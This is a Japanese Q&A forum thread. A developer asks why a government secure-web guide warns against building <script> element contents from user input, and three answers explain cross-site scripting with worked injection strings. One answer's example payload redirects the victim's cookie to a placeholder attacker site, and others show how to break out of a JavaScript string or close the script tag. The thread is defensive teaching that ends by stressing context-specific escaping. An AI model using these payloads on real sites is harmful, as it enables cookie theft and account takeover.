
▽安全なウェブサイトの作り方
http://www.ipa.go.jp/security/vuln/documents/web …
><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります
・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>
No.2ベストアンサー
- 回答日時:
攻撃の容易性でしょう。
この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。
埋め込み方法ですが、以下の様な生成をするサイトの場合なら
入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>
そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。
入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>
引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。
No.3
- 回答日時:
主にサーバーサイドの話でしょう
例えば簡易掲示板で、名前をクリックすると本文がalertされるものを作ったとします
そこで
alert("内容")
とすると
内容が
「"+(function(){code})()+"」だと
aler("t"+(function(){code})()+"")
となって任意のコードを埋め込まれてしまうということです
本人が書き込んだ内容を本人のみに適応する場合はいいですが
第三者も見えるHTMLコードになる場合は気をつけてください
No.1
- 回答日時:
ものすごく単純化しますが、
・script 要素生成テンプレート:
<script>alert('あなたの名前は$nameです。');</script>
・利用者から入力されたデータ(1):
$name = "太郎"
→ <script>alert('あなたの名前は太郎です。');</script>
・利用者から入力されたデータ(2):
$name = "');var s=document.cookie;('"
→ <script>alert('あなたの名前は');var s=document.cookie;('です。');</script>
・利用者から入力されたデータ(3):
$name = "')</script><p>おはよう</p>"
→ <script>alert('あなたの名前は')</script><p>おはよう</p>です。');</script>
(2) のようにして Cookie にアクセスできました。もちろん、このままでは Cookie 制限により他のドメインに紐付けられたデータを見ることはできませんが、危険であることに変わりありません。また、(3) は勝手に script 要素を終わらせ、任意の文字列を出力させています。
この場合、$name を「HTML の script 要素内に埋め込まれる JavaScript に適した形」にエスケープする必要がありました。結構、ややこしい話なのですよ。例えば、script 要素内で "</script>" をどうやってエスケープしますか? 他の "</p>" のようなタグは? あるいは、今回は幸い(?) JavaScript の文字列への出力なので比較的楽なのですが、では文字列の形式を崩さないようにするには?
そういう文法知識が曖昧なら、やらない方が無難です。まあ、上記のような名前程度なら、入力段階で "=" のような「名前に不適な文字」を刎ねてしまっても構いませんが。
そもそも論として、スクリプト云々に関係なく、データを出力する際は必ず「出力する文脈に合わせて」データをエスケープしなければなりません。データ入力時点の「サニタイズ」で事が済むと思っている人が今でも多いですが、間違いです。
お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!
似たような質問が見つかりました
- PHP 掲示板のセキュリティについてアドバイスお願い致します 1 2023/08/11 20:44
- JavaScript プラグイン無しでContactform7にdatepickerを実装 3 2022/10/25 02:18
- JavaScript Google reCAPTCHAについて 1 2023/02/22 14:37
- JavaScript 【Javascript】ボタンクリックで2つのclassに対し、それぞれ別のclassを追加したい 1 2022/07/29 20:52
- JavaScript javascriptで変数を組み込みたい 2 2023/01/13 09:52
- JavaScript jQueryでのドラッグアンドドロップについて 1 2022/07/07 21:04
- JavaScript jsで、switch文で書かれた分をif文にできませんか。 1 2022/07/28 15:10
- JavaScript sessionStorageを調べています。 1 2023/06/20 12:41
- JavaScript jQueryでのドラッグアンドドロップについて 1 2022/07/30 09:10
- JavaScript Javascriptが機能せず原因が分からないので教えて頂きたいです 3 2023/06/04 14:50
関連するカテゴリからQ&Aを探す
おすすめ情報
デイリーランキングこのカテゴリの人気デイリーQ&Aランキング
-
Vbscriptで自分自身のウィンド...
-
【js】attrで属性を取得する...
-
Javascriptで自動更新
-
onbeforeunload時のwindow.open...
-
noscriptについて
-
google Analyticsでページ中の...
-
指定したサイズでブラウザを開...
-
メニューのカテゴリが多くなっ...
-
「関数が定義されていない」と...
-
ブラウザの「戻る」ボタンを押...
-
undefinedが表示されてしまう
-
PrintScreenキーを無効にしたい
-
<a href="#" …>の意味を教えて...
-
親ウインドウの判別
-
javascriptでラジオボタンをチ...
-
window.openの後にエンコードを...
-
bodyにidをつける理由は何ですか?
-
function の return 値を表示し...
-
ポップアップウィンドウの位置
-
適切なページ分けのループを教...
マンスリーランキングこのカテゴリの人気マンスリーQ&Aランキング
-
JavaScriptからVBScriptの呼び...
-
ウインドウの後ろに隠れている...
-
Vbscriptで自分自身のウィンド...
-
「関数が定義されていない」と...
-
window.onloadイベントの任意実...
-
毎回、ページ読み込み時に1回...
-
印刷時に消したいjavascriptがある
-
datepickerで日付の値を取得したい
-
確認ダイアログで「キャンセル...
-
<aタグで変数に文字を代入
-
PrintScreenキーを無効にしたい
-
Cygwinでログをのこす方法
-
マウスオーバー時の下線表示に...
-
CGIのリターンをjavascriptで受...
-
リンクにマウスポインタをおく...
-
javascriptでtableの該当行を削...
-
VBscriptでVisualBasicのような...
-
ASPで取得した情報をscriptタグ...
-
Java ScriptでIPによるアクセス...
-
'<s' + 'cript とsを切り離すの...
おすすめ情報